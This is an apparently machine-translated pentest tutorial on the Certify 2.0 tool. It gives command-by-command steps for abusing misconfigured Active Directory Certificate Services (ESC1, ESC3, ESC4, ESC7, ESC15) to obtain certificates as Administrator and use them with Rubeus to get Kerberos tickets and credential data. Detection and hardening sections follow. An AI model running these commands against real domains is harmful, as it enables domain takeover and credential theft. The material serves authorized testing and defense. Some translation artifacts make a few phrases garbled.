tools

Certify: Enumerate and Abuse AD CS from Windows with C#

Certify: Enumerate and Abuse AD CS from Windows with C#

Certify is GhostPack's C# tool for enumerating and exploiting AD CS from Windows without Python dependencies. Learn how to use it to find vulnerable templates and request certificates for escalation to Domain Admin.

  • Posted on 2026-06-03
  • Reading time: 13 min

Certify 2.0: Complete Guide to AD CS Enumeration and Abuse from Windows #

Certify is GhostPack's C# tool for enumerating and verifying vulnerable configurations in Active Directory Certificate Services (AD CS) directly from Windows. Version 2.0 uses the commands enum-cas, enum-templates, request, request-agent, request-download, manage-ca e manage-template; identifies conditions related to ESC1–ESC16 techniques and returns certificates in format PFX Base64, usable directly with The red .

It is the Windows-native complement to Certipy : Certify is ideal when you have a Windows session in the domain and want to analyze AD CS without installing Python, while Certipy remains more convenient from Linux and for workflows such as NTLM relay, authentication and Shadow Credentials.


What is Certify and what is it used for? #

Certify is a C# tool developed by SpecterOps as part of the GhostPack project. It queries Active Directory via LDAP, lists Certificate Authorities and certificate templates, highlights dangerous configurations, and can send certificate requests to the CA.

To understand its role, four concepts are needed:

  • AD CS: Microsoft's PKI infrastructure used to issue and manage certificates in the domain.
  • Certificate Authority (CA): the server that approves, signs, and issues certificates.
  • certificate template: The Active Directory object that determines who can request a certificate, for which identity, and for what uses.
  • PKINIT: the Kerberos mechanism that allows you to obtain a TGT using a certificate instead of a password.

A misconfiguration can therefore transform a normal enrollment right into a privilege escalation path: the certificate issued by the CA is a valid credential and can allow authentication as another account.

For a complete overview of the techniques, see AD CS ESC1–ESC16 and the AD CS EKU and OID Guide.


Certify 1.x and Certify 2.0: Don't mix syntaxes #

Many online cheat sheets still show 2021 syntax. Certify 2.0 has renamed commands, separated previously merged actions, and added filters for newer ESCs.

TargetLegacy 1.x syntaxCertify 2.0 Syntax
Enumerate vulnerable templatesfind /vulnerableenum-templates --filter-enabled --filter-vulnerable
List the CAscasenum-cas
Enumerate PKI objectspkiobjectsenum-pkiobjects
Filter on the current context/currentuser--current-user
Show all ACLs/showAllPermissions--show-all-perms
Request arbitrary SAN/UPNrequest /altname:utenterequest --upn utente
On-behalf-of requestrequest /onbehalfof:...request-agent --target ...
Download an issued requestdownload /id:42request-download --id 42
PEM Outputdefaultoptional with --output-pem
PFX Base64 Outputmanual conversiondefault

Important Note: legacy parameters /username e /password present in some guides are not part of the official Certify 2.0 command reference. --target-user It is used to classify vulnerabilities against another account's groups, but does not authenticate Certify as that user.


Requirements and compilation #

SpecterOps doesn't publish official binaries. The repository must be built from source with Visual Studio.

powershell
git clone https://github.com/GhostPack/Certify
cd Certify

# Apri Certify.sln con Visual Studio 2022
# Configuration: Release
# Build Solution

The project is built for .NET Framework 4.7.2 . Before running, please check:

powershell
# Contesto utente
whoami
whoami /groups

# Dominio e controller individuato dalla sessione
$env:USERDNSDOMAIN
nltest /dsgetdc:$env:USERDNSDOMAIN

# Connettività LDAP e RPC Endpoint Mapper
Test-NetConnection dc01.corp.local -Port 389
Test-NetConnection ca01.corp.local -Port 135

Enumeration typically doesn't require administrative privileges: a domain account that can read PKI objects is sufficient. Management requests and operations, however, depend on enrollment rights, template ACLs, and delegated roles on the CA.


Certify 2.0 Cheat Sheet #

TargetCommand
Enumerate all CAs.\Certify.exe enum-cas
Show only vulnerable CAs.\Certify.exe enum-cas --filter-vulnerable --hide-admins
Analyze a specific CA.\Certify.exe enum-cas --ca "CA01.corp.local\CORP-CA"
Enumerate all templates.\Certify.exe enum-templates
Only published templates.\Certify.exe enum-templates --filter-enabled
Published and vulnerable templates.\Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
Vulnerability to the current user.\Certify.exe enum-templates --filter-enabled --filter-vulnerable --current-user
Vulnerability to a target user.\Certify.exe enum-templates --filter-enabled --filter-vulnerable --target-user mario.rossi
Only templates with client authentication.\Certify.exe enum-templates --filter-enabled --filter-client-auth
Template with controllable subject.\Certify.exe enum-templates --filter-enabled --filter-supply-subject
Templates usable by Enrollment Agent.\Certify.exe enum-templates --filter-enabled --filter-request-agent
Details of a template.\Certify.exe enum-templates --template VulnTemplate --show-all-perms
Enumerate PKI objects and issuance policies.\Certify.exe enum-pkiobjects --show-linked-oids
Specify LDAP DC.\Certify.exe enum-templates --ldap-server DC01.corp.local
Save the output.\Certify.exe enum-templates --filter-vulnerable --out-file certify.txt
Request a certificate.\Certify.exe request --ca "CA01.corp.local\CORP-CA" --template User
ESC1 request with UPN and SID.\Certify.exe request --ca "CA01.corp.local\CORP-CA" --template VulnTemplate --upn Administrator --sid <SID>
On-behalf-of request.\Certify.exe request-agent --ca "CA01.corp.local\CORP-CA" --template User --target Administrator --agent-pfx <BASE64_PFX>
Download an issued certificate.\Certify.exe request-download --ca "CA01.corp.local\CORP-CA" --id 42 --private-key <BASE64_KEY>
Show full help.\Certify.exe <comando> --help

AD CS Enumeration Workflow #

1. Identify exposed Certificate Authorities and Services #

powershell
.\Certify.exe enum-cas --hide-admins

To narrow down the output to CAs that Certify classifies as vulnerable:

powershell
.\Certify.exe enum-cas --filter-vulnerable --hide-admins

Fields to read carefully:

  • FullName: format required by --ca, for example CA01.corp.local\CORP-CA.
  • User Specifies SAN: indicates the AC configuration connected to ESC6.
  • RPC Request Encryption: relevant for ESC11.
  • Disabled Extensions: can reveal ESC16.
  • CA Permissions: near ManageCA, ManageCertificates or enrollment granted to too large groups.
  • Enrollment Agent Restrictions: absence or weak configuration increases ESC3 risk.

For a specific CA:

powershell
.\Certify.exe enum-cas --ca "CA01.corp.local\CORP-CA" --show-all-perms

2. Search for published and vulnerable templates #

The most important command for initial triage is:

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

--filter-enabled It is essential: without this filter, Certify 2.0 also shows templates present in Active Directory but not published by any CA, and therefore not requestable at that time.

To sort results based on the current account's actual groups:

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --hide-admins

To evaluate a compromised account without changing the execution context:

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --target-user svc_backup `
  --hide-admins

--target-user It only changes the calculation of permissions and vulnerabilities displayed: it does not use the credentials of the indicated account.


3. Targeted filters to reduce noise #

powershell
# Template che permettono autenticazione via certificato
.\Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins

# Template che consentono al richiedente di specificare il subject/SAN
.\Certify.exe enum-templates --filter-enabled --filter-supply-subject --hide-admins

# Intersezione utile per individuare condizioni simili a ESC1
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-client-auth `
  --filter-supply-subject `
  --hide-admins

# Template utilizzabili per richieste firmate da Enrollment Agent
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-request-agent `
  --hide-admins

# Template che richiedono Manager Approval
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-manager-approval

For a complete analysis of a single template:

powershell
.\Certify.exe enum-templates `
  --template VulnTemplate `
  --show-all-perms

4. Enumerate PKI object and issuance policy #

ESC13 and other chains depend on Enterprise OIDs linked to domain groups. Certify 2.0 includes a dedicated command:

powershell
.\Certify.exe enum-pkiobjects --show-linked-oids

Check above all:

  • Enterprise OIDs linked to privileged groups;
  • ACLs modifiable by non-privileged users;
  • PKI objects with WriteProperty, WriteDacl, WriteOwner or anomalous ownership.

Further information: ESC13 via Issuance Policy OID.


How to read the output of a template #

Don't stop at the line VulnerabilitiesManually verify the fields that make up the attack path.

CountrysideWhy it matters
EnabledThe template is published and can be requested
Publishing CAsIndicate which CA to use with --ca
Schema VersionRelevant for Enrollment Agent and ESC15
Certificate Name FlagSearch ENROLLEE_SUPPLIES_SUBJECT
Enrollment FlagSearch NO_SECURITY_EXTENSION for ESC9
Manager Approval RequiredSe True, the request is not issued automatically
Authorized Signatures RequiredValues ​​greater than zero may block direct enrollment
Extended Key UsageDetermines whether the certificate can authenticate, code sign, or act as an Enrollment Agent
Required Application PoliciesBind requests on-behalf-of
Enrollment RightsDetermines who can request the template
Object Control PermissionsDetect ESC4 and editable templates
Validity/Renewal PeriodDetermines the duration and possibility of renewal of the credential

The most important EKUs for authentication are:

text
Client Authentication          1.3.6.1.5.5.7.3.2
PKINIT Client Authentication   1.3.6.1.5.2.3.4
Smart Card Logon               1.3.6.1.4.1.311.20.2.2
Any Purpose                    2.5.29.37.0
Subordinate CA                 nessun EKU
Certificate Request Agent      1.3.6.1.4.1.311.20.2.1

ESC1 with Certify 2.0 #

ESC1 generally requires:

  1. enrollment right on the CA;
  2. enrollment right on the template;
  3. Manager Approval disabled;
  4. no authorized signature required;
  5. EKU valid for authentication;
  6. possibility for the applicant to specify subject or SAN.

Enumeration #

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --hide-admins

Certificate Request #

In modern environments, simply specifying the UPN isn't always sufficient. Microsoft's Strong Certificate Mapping verifies the SID associated with the certificate; after the 2025 updates, updated environments should be considered fully enforced.

powershell
# Recupera il SID del target in un test autorizzato
Get-ADUser Administrator -Properties objectSid |
  Select-Object SamAccountName, objectSid

# Richiesta ESC1 con UPN e SID
.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template VulnTemplate `
  --upn Administrator `
  --sid S-1-5-21-111111111-222222222-333333333-500

Certify 2.0 returns a block Certificate (PFX) Base64 encoded. No need to switch to OpenSSL unless you explicitly request legacy output with --output-pem.

Further information: ESC1 AD CS.


ESC3: Enrollment Agent and on-behalf-of request #

ESC3 uses a template with EKU Certificate Request Agent . The flow involves two separate certificates.

1. Find and request the Enrollment Agent certificate #

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template EnrollmentAgentTemplate

Save the Base64 PFX produced by the command.

2. Find an acceptable template for on-behalf-of #

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-request-agent `
  --hide-admins

3. Request the certificate for the target #

powershell
.\Certify.exe request-agent `
  --ca "CA01.corp.local\CORP-CA" `
  --template User `
  --target "CORP\Administrator" `
  --agent-pfx <BASE64_PFX_AGENT>

If the Enrollment Agent PFX is password protected, add:

powershell
--agent-pass 'PasswordPFX'

Learn more about EKUs: AD CS EKU and OID.


ESC4 and ESC7: Template ACLs and CAs #

ESC4 — Editable Template #

ESC4 exists when a non-privileged principal has rights such as:

  • Owner o Full Control;
  • WriteProperty;
  • WriteOwner;
  • WriteDacl.

Enumeration:

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --show-all-perms

Certify 2.0 includes manage-template to manage settings and ACLs during controlled tests:

powershell
# Mostra le opzioni disponibili prima di modificare qualsiasi oggetto
.\Certify.exe manage-template --help

# Esempi di parametri supportati:
# --supply-subject
# --client-auth
# --manager-approval
# --authorized-signatures
# --enroll <SID>
# --write-dacl <SID>

Template changes must be agreed upon before testing, documented, and reverted immediately after testing. For a complete and reversible workflow, see ESC4 AD CS Template Hijacking.

ESC7 — Delegated roles on the CA #

powershell
.\Certify.exe enum-cas `
  --filter-vulnerable `
  --hide-admins

Search especially for:

  • ManageCA;
  • ManageCertificates;
  • Abnormal owner or ACL on the CA.

Certify 2.0 can manage published templates, roles and pending requests via manage-caExample of verifying and downloading a previously authorized request in the test:

powershell
# Help completo
.\Certify.exe manage-ca --help

# Emissione di una richiesta tramite Request ID
.\Certify.exe manage-ca `
  --ca "CA01.corp.local\CORP-CA" `
  --issue-id 42

# Download con la private key prodotta dalla richiesta originale
.\Certify.exe request-download `
  --ca "CA01.corp.local\CORP-CA" `
  --id 42 `
  --private-key <BASE64_PRIVATE_KEY>

Learn more: ESC7 Manage CA.


ESC6, ESC9, ESC15 and ESC16 in 2026 #

Strong Certificate Mapping has changed the effectiveness of some techniques. No longer treat every arbitrary SAN as an automatic escalation.

  • ESC6: the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 It allows arbitrary SANs, but alone is not normally sufficient in an upgraded domain because the CA inserts the requester's SID.
  • ESC9: the template has NO_SECURITY_EXTENSION and omits the SID security extension.
  • ESC16: CA globally disables SID extension 1.3.6.1.4.1.311.25.2.
  • ESC15 / EKUwu: Affects template schema v1 that are vulnerable to application policy injection; Microsoft fixed CVE-2024-49019 in November 2024.

Enumeration:

powershell
# CA vulnerabili: ESC6, ESC7, ESC11, ESC16 e altre condizioni
.\Certify.exe enum-cas --filter-vulnerable --hide-admins

# Template vulnerabili: ESC1-4, ESC9, ESC13, ESC15 e altre condizioni
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --hide-admins

For ESC15 in an out-of-date lab, Certify 2.0 supports --application-policy:

powershell
.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template WebServer `
  --upn Administrator `
  --sid S-1-5-21-111111111-222222222-333333333-500 `
  --application-policy 1.3.6.1.5.5.7.3.2

Further Reading:


Using PFX Base64 with Rubeus #

Certify 2.0 prints the certificate in a format directly accepted by Rubeus.

powershell
Rubeus.exe asktgt `
  /user:Administrator `
  /domain:corp.local `
  /dc:DC01.corp.local `
  /certificate:<BASE64_PFX> `
  /enctype:aes256 `
  /ptt `
  /nowrap

To verify the ability to extract credential data via U2U in the authorized context:

powershell
Rubeus.exe asktgt `
  /user:Administrator `
  /domain:corp.local `
  /dc:DC01.corp.local `
  /certificate:<BASE64_PFX> `
  /enctype:aes256 `
  /getcredentials `
  /show `
  /nowrap

Check session tickets:

powershell
klist

From here, the path depends on the privileges of the identity you obtained. Related guides are Rubeus , DCSync , and Golden Ticket.


PEM output and manual conversion: for compatibility only #

The default output of Certify 2.0 is PFX Base64. Use --output-pem only if a later tool requires the legacy format.

powershell
.\Certify.exe request `
  --ca "CA01.corp.local\CORP-CA" `
  --template User `
  --output-pem

PEM → PFX Conversion:

bash
openssl pkcs12 \
  -in cert.pem \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out cert.pfx

With password:

bash
openssl pkcs12 \
  -in cert.pem \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out cert.pfx \
  -passout pass:'PasswordPFX'

Certify vs. Certipy: Which Should You Use? #

FunctionCertify 2.0Certipy
LanguageC#Python
Ideal environmentWindows SessionLinux or Windows
CA/Template EnumerationYesYes
Identifying ESC1–ESC16Yes, based on the documented featuresYes
Request certificatesYesYes
PFX OutputBase64 to consoleFile .pfx
Integrated PKINIT/authNo, use RubeusYup, certipy auth
NTLM relay ESC8/ESC11It is not a relay toolYes
Edit template/CAmanage-template, manage-caYes, with dedicated workflows
Renewal and forgeYes in Certify 2.0Yes
Shadow CredentialsNoYes
addictions.NET FrameworkPython/pip

Use Certify when:

  • you already have a Windows shell in the domain;
  • you want native certificate enumeration and requests without Python;
  • you want PFX Base64 directly usable with Rubeus;
  • You need to parse ACLs and PKI configurations from the current Windows context.

Use Certipy when:

  • you are operating from Kali/Linux;
  • you need to relay to HTTP or RPC endpoints;
  • Do you want a single tool for find, req, auth, relay, shadow e forge.

Detection: How to detect Certify and AD CS abuse #

Effective detection shouldn't depend on the name alone Certify.exeThe most reliable signal is the correlation between:

  1. enumeration or modification of PKI objects;
  2. request and issuance of the certificate;
  3. Kerberos authentication via certificate;
  4. identities, templates, or SANs that are incompatible with normal behavior.

Enable auditing on the CA #

In a defensive configuration, enable the Audit Certification Services subcategory for Success and Failure, then configure the CA audit filter:

powershell
certutil -setreg CA\AuditFilter 127
Restart-Service certsvc

Collect at least the Security Event Logs from the CA and Domain Controllers in the SIEM.

Main Event IDs #

Event IDSystemMeaningWhat to look for
4882CACertificate Services permissions changednew ManageCA o ManageCertificates
4885CACA audit filter changedDisabling or reducing auditing
4886CACertificate request receivedUnusual templates, requesters, and attributes
4887CACertificate approved and issuedAuth certificate for privileged account
4888CARequest deniedRepeated errors or testing on unauthorized templates
4889CARequest set pendingRequests then forced with Officer role
4890CACertificate Manager settings changedChanging managers/restrictions
4891CACA configuration changedChange policies, flags or modules
4898CATemplate uploadedNew template published or reloaded
4899CAUpdated templateEdit EKU, flags or requirements
4900CAUpdated template securityACL template changed
5136DCAD object modifiedChanges to Certificate Templates objects
4768DCKerberos TGT RequestCertificate Issuer/Serial/Thumbprint enhanced

5136 Requires an appropriate SACL on the objects to be monitored. For certificate templates, check for changes to:

text
pKIExtendedKeyUsage
msPKI-Certificate-Name-Flag
msPKI-Enrollment-Flag
msPKI-RA-Signature
msPKI-Certificate-Application-Policy
nTSecurityDescriptor

Quick Triage with PowerShell #

powershell
# Eventi AD CS sulla CA
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id      = 4882,4885,4886,4887,4888,4889,4890,4891,4898,4899,4900
} | Select-Object TimeCreated, Id, MachineName, Message

# PKINIT/certificate authentication sui DC
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id      = 4768
} | Where-Object {
  $_.Message -match 'Certificate Thumbprint:\s+\S'
} | Select-Object TimeCreated, MachineName, Message

High priority correlations #

Generate an alert when:

  • a standard account requires a certificate whose subject, SAN, or UPN indicates a privileged account;
  • a template with Client Authentication is used by a principal that does not normally require it;
  • an event 4899, 4900 o 5136 is followed within a few minutes by 4886/4887;
  • ManageCA o ManageCertificates they are assigned and immediately after a pending request is issued;
  • un 4887 is followed by a 4768 with certified thumbprint/serial traceable to the same certificate;
  • certificates with abnormal validity, Any Purpose, Subordinate CA or Certificate Request Agent are issued;
  • a user endpoint generates an unusual volume of LDAP queries to CN=Public Key Services,CN=Services,CN=Configuration.

Important limitation: 4886 e 4887 They can be very noisy on their own. Detection should use a baseline of templates, regular requesters, and authorized identities.


Hardening and mitigations #

  • Remove Enroll e Autoenroll da Authenticated Users, Domain Users ed Everyone when not strictly necessary.
  • Enable Manager Approval or authorized signatures on sensitive templates.
  • Delete ENROLLEE_SUPPLIES_SUBJECT from templates with authentication EKU if not required.
  • Remove Any Purpose, Subordinate CA and Certificate Request Agent templates accessible to large groups.
  • Protect ACLs and template ownership; treat WriteProperty, WriteDacl, WriteOwner e GenericAll as Tier 0 privileges.
  • Limits ManageCA e ManageCertificates to dedicated and monitored groups.
  • Keep your Domain Controllers up to date and do not weaken Strong Certificate Mapping.
  • Verify that the SID extension 1.3.6.1.4.1.311.25.2 is not disabled on templates or CAs.
  • For Web Enrollment and CES/CEP use HTTPS, Extended Protection for Authentication, and NTLM restrictions.
  • Enable CA auditing, Directory Service Changes, and centralize events in your SIEM.
  • Perform periodic audits with Certify, Certipy, PSPKIAudit, and Microsoft Defender for Identity.

Microsoft Defender for Identity includes security posture assessments specific to ESC1, ESC3, ESC4, ESC7, and exposed AD CS endpoints.


Troubleshooting #

Certify does not find any CA #

Verify domain, DNS and LDAP:

powershell
nltest /dsgetdc:corp.local
Resolve-DnsName _ldap._tcp.dc._msdcs.corp.local
Test-NetConnection DC01.corp.local -Port 389

.\Certify.exe enum-cas `
  --domain corp.local `
  --ldap-server DC01.corp.local

The template exists but does not appear with --filter-enabled #

The template is present in Active Directory but not published by any CA. Temporarily remove the filter to confirm:

powershell
.\Certify.exe enum-templates --template NomeTemplate

Check the field Enabled e Publishing CAs.

--filter-vulnerable does not show an expected template #

The default filter classifies vulnerabilities against low-privilege built-in groups. Try the real-world context:

powershell
.\Certify.exe enum-templates `
  --filter-enabled `
  --filter-vulnerable `
  --current-user `
  --show-all-perms

The request remains pending #

Save:

  • Request ID;
  • Base64 private key produced by the request;
  • CA name;
  • template used.

After authorized approval:

powershell
.\Certify.exe request-download `
  --ca "CA01.corp.local\CORP-CA" `
  --id 42 `
  --private-key <BASE64_PRIVATE_KEY>

Rubeus does not authenticate with the certificate #

Check it out:

  • UPN and SID present in the certificate;
  • Authentication EKU;
  • CA trust in NTAuthCertificates;
  • PKINIT support on DC;
  • DNS and time synchronization;
  • Strong Certificate Mapping;
  • revocation and validity of the certificate.
powershell
w32tm /query /status
klist purge
certutil -dump cert.pfx

FAQ #

Does Certify 2.0 support ESC1–ESC16? #

Certify 2.0 lists templates, CAs, and PKI objects needed to identify ESC1–ESC16 conditions and includes functionality for requests, template/CA management, renewal, and forge. However, it doesn't replace all the tools in the chain: for NTLM relay ESC8/ESC11, a relay tool is required, while for PKINIT authentication, Rubeus is typically used.

Does Certify require administrative privileges? #

No, not for normal LDAP enumeration. A domain user can often read CAs, templates, and ACLs. Certificate requests require enrollment rights; manage-template, manage-ca and equivalent operations require specific ACLs or roles.

Does Certify work from a machine not joined to the domain? #

Certify uses the current Windows security context and the 2.0 command reference does not offer any generic parameters. --username/--password For LDAP and CA authentication. A valid domain context, correct DNS, and connectivity to LDAP and RPC are required from a non-joined host; in practice, it's more reliable to run this from a Windows session already authenticated to the domain.

What is the difference between --current-user e --target-user? #

--current-user Evaluates enrollment and ACLs against nested groups of the user running Certify. --target-user calculates vulnerability against another account's groups, but does not change the identity used for requests.

Why don't I always have to convert PEM to PFX anymore? #

Certify 2.0 returns a Base64 encoded PFX by default, which is directly accepted by Rubeus. --output-pem It keeps the old behavior only for compatibility.

Is ESC6 still enough to get Domain Admin? #

In an updated environment with Strong Certificate Mapping, generally not. The CA inserts the requestor's SID, so an arbitrary SAN isn't enough. ESC6 can be exploited in combination with ESC9, ESC16, or specific weak mappings.

Which fields do I need to check to confirm ESC1? #

Enabled: True, CA and template enrollment rights for the principal, Manager Approval disabled, zero authorized signatures, EKU valid for authentication and ENROLLEE_SUPPLIES_SUBJECT.

Can Certify do NTLM relay? #

No: It enumerates the relevant configuration for ESC8/ESC11, but it is not a listener/relay framework. Tools like Certipy or ntlmrelayx are used for relay in an authorized test.

What events indicate possible AD CS abuse? #

The main signals are 4886/4887 for request and issuance, 4768 with certified information for PKINIT, 4899/4900 e 5136 for template changes, 4882/4890/4891 for role changes and CA configuration.


Operational checklist #

text
PREPARAZIONE
[ ] Confermato scope e autorizzazione per richieste/modifiche AD CS
[ ] Identificati dominio, DC e CA
[ ] Verificata connettività LDAP e RPC
[ ] Compilata la versione corrente di Certify dal repository ufficiale

ENUMERAZIONE
[ ] enum-cas --filter-vulnerable --hide-admins
[ ] enum-templates --filter-enabled --filter-vulnerable --current-user
[ ] enum-templates --show-all-perms sui template sospetti
[ ] enum-pkiobjects --show-linked-oids
[ ] Verificati EKU, SAN, SID extension, approval, signatures e ACL

VALIDAZIONE
[ ] Confermato che il template è pubblicato
[ ] Confermati enrollment rights su CA e template
[ ] Valutata Strong Certificate Mapping
[ ] Salvati Request ID, private key e PFX
[ ] Testato il certificato soltanto entro lo scope autorizzato

DETECTION
[ ] Audit Certification Services abilitato
[ ] CA AuditFilter configurato
[ ] Eventi 4882, 4885-4891, 4898-4900 raccolti
[ ] Eventi 4768 e 5136 raccolti sui DC
[ ] Correlazione emissione certificato → PKINIT configurata nel SIEM

RIPRISTINO
[ ] Ripristinate eventuali modifiche a template e CA
[ ] Revocati i certificati emessi per il test
[ ] Pubblicata CRL aggiornata se necessario
[ ] Conservate evidenze e Request ID nel report

Conclusion #

Certify 2.0 is no longer just the old find /vulnerableIt is a Windows-native toolkit for analyzing the entire AD CS surface: CA, templates, ACLs, issuance policies, Strong Certificate Mapping, on-behalf-of requests, and controlled PKI object management.

The correct workflow is:

  1. enum-cas to understand which CAs exist and how they are configured;
  2. enum-templates to isolate published, vulnerable, and actually usable templates from the principal;
  3. manual verification of EKU, SAN, SID extension, approval, signatures and ACLs;
  4. request o request-agent only after confirming the prerequisites;
  5. authentication with The red and defensive correlation between 4887 e 4768;
  6. rollback, revocation, and documentation of changes made during testing.

For Linux workflows, relay and continuous integrated authentication with Certipy . For the full attack surface, see AD CS ESC1–ESC16.


Resources #

Authorized Use: The commands in this guide are to be executed only in labs, CTFs, or penetration tests with explicit authorization.

#certificate-services #certificate-abuse

leave a message

I'm not a robot